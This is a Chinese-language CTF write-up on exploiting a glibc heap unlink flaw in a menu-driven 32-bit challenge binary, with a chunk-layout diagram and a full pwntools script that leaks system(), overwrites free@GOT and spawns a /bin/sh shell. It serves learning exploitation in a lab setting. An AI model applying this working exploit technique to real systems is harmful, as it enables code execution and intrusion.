[CTF]Heap vuln -- unlink
2016-02-15 12:40
274 查看
0x00: 起因
一直在堆的漏洞利用中不得要领,之前ZCTF又是三个堆的利用,血崩,chxx表哥给写了一个heap的pwn,学习学习。0x01:
关于heap的unlink的漏洞利用,出的很早,在低版本的libc中,因为没有校验,导致在unlink的时候可以通过构造堆块dwordshoot,从而任意代码执行。对于这种漏洞的学习,首先要了解malloc的工作原理及几种堆块的分配、使用方式。推荐文章 Understanding glibc malloc
0x02: 文件的一些信息
0x03:分析
程序是一个菜单式的程序,可以用户自定义分配块的长度和内容,漏洞在于:edit的时候,没做长度校验导致可以溢出,通过构造可以bypass 在libc中unlink的校验,从而getshell。0x04:在drops看到的姿势
堆溢出的unlink利用方法按照文中给出的方式,为了bypass
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P);
这么一个指针的校验,我们找到一个特殊的 指针ptr是指向p的(p指向堆)
那么可以根据p去构造bk和fd两个指针
chunk0 malloc返回的ptr chunk1 malloc返回的ptr | | | | +-----------+---------+----+----+----+----+----+------+------+----+----+------+ | | |fake|fake|fake|fake| D | fake | fake | | | | | | |prev|size| FD | BK | A | prev | size&| | | | | prev_size |size&Flag|size| | | | T | size | flag | | | | | | | | | | | A | | | | | | | | | | | | | | | | | | | +-----------+---------+----+----+----+----+----+------+------+----+----+------+ |--------new_size--------| list
l32(0) + l32(0x89) + l32(list-0xc) + l32(list-0x8) +"A"*(128-4*4) #fake_pre_szie + fake_size + fake_FD + fake_BK + DATA # 4bytes 4bytes 4bytes 4bytes 128-4*4 #pre_size + size&flag l32(0x80) + l32(0x88) free(chunk_1)
分配两个长度合适的块,伪造第一个块,然后通过修改了第二个块的pre_size 和size
然后free(chunk1) 触发unlink
之后再次修改指针p 从而达到leak地址,修改地址的目的
0x05:exp
from pwn import * context.update(os='linux', arch='i386') p = remote('127.0.0.1',10001) chunk_list = 0x8049d60 free_got = 0x8049ce8 flag = 0 def leak(addr): data = "A" * 0xc + p32(chunk_list-0xc) + p32(addr) global flag if flag == 0: set_chunk(0, data) flag = 1 else: set_chunk2(0, data) res = "" p.recvuntil('5.Exit\n') res = print_chunk(1) print("leaking: %#x ---> %s" % (addr, res[0:4].encode('hex'))) return res[0:4] def add_chunk(len): print p.recvuntil('\n') p.sendline('1') print p.recvuntil('Input the size of chunk you want to add:') p.sendline(str(len)) def set_chunk(index,data): p.recvuntil('5.Exit\n') p.sendline('2') p.recvuntil('Set chunk index:') p.sendline(str(index)) p.recvuntil('Set chunk data:') p.sendline(data) def set_chunk2(index, data): p.sendline('2') p.recvuntil('Set chunk index:') p.sendline(str(index)) p.recvuntil('Set chunk data:') p.sendline(data) def del_chunk(index): p.recvuntil('\n') p.sendline('3') p.recvuntil('Delete chunk index:') p.sendline(str(index)) def print_chunk(index): p.sendline('4') p.recvuntil('Print chunk index:') p.sendline(str(index)) res = p.recvuntil('5.Exit\n') return res raw_input('add_chunk') add_chunk(128) #0 add_chunk(128) #1 add_chunk(128) #2 add_chunk(128) #3 set_chunk(3, '/bin/sh') #fake_chunk payload = "" payload += p32(0) + p32(0x89) + p32(chunk_list-0xc) + p32(chunk_list-0x8) payload += "A"*(0x80-4*4) #2nd chunk payload += p32(0x80) + p32(0x88) set_chunk(0,payload) #get the pointer del_chunk(1) set_chunk(0, 'A' * 12 + p32(0x8049d54) + p32(0x8049d14)) raw_input('leak') #leak system_addr pwn_elf = ELF('./heap') d = DynELF(leak, elf=pwn_elf) sys_addr = d.lookup('system', 'libc') print("system addr: %#x" % sys_addr) raw_input('edit free@got') data = "A" * 12 + p32(chunk_list-0xc) + p32(free_got) set_chunk2('0', data) set_chunk2('1', p32(sys_addr)) del_chunk('3') p.interactive() p.close()
0x06:参考文章
1. Understanding glibc malloc
2. 堆溢出的unlink利用方法
最后还要感谢chxx大表哥的pwn和指导=。=
所有文件都在这里了 文件下载
相关文章推荐
- 各种排序算法的总结和比较
- HDU2196computer(树上最远距离 + DP)
- Swift 关于"/"和"%"
- 深入浅出 Android Support Annotation
- [C语言]查找链表的中间元素
- 忙些更好
- Oracle表值函数的两种写法
- JAVA应用程序获取当前路径
- hdu1298T9
- springmvc-servlet.xml中use-default-filters的作用
- HDU——1393Weird Clock(水题,注意题意)
- 静态区间第k大(分桶法和平方分割)
- 静态区间第k大(分桶法和平方分割)
- NDK 编译和使用静态库、动态库; Android.mk 文件语法详解; Android.mk高级写法
- mpg123 把mp3文件解码到标准输出设备(stdout)
- 从零开始山寨Caffe·贰:主存模型
- Handler 与 Looper
- Dolby(杜比)
- Laravel-lumen 配置JWT
- #学习笔记#(43)CSS-border绘制三角形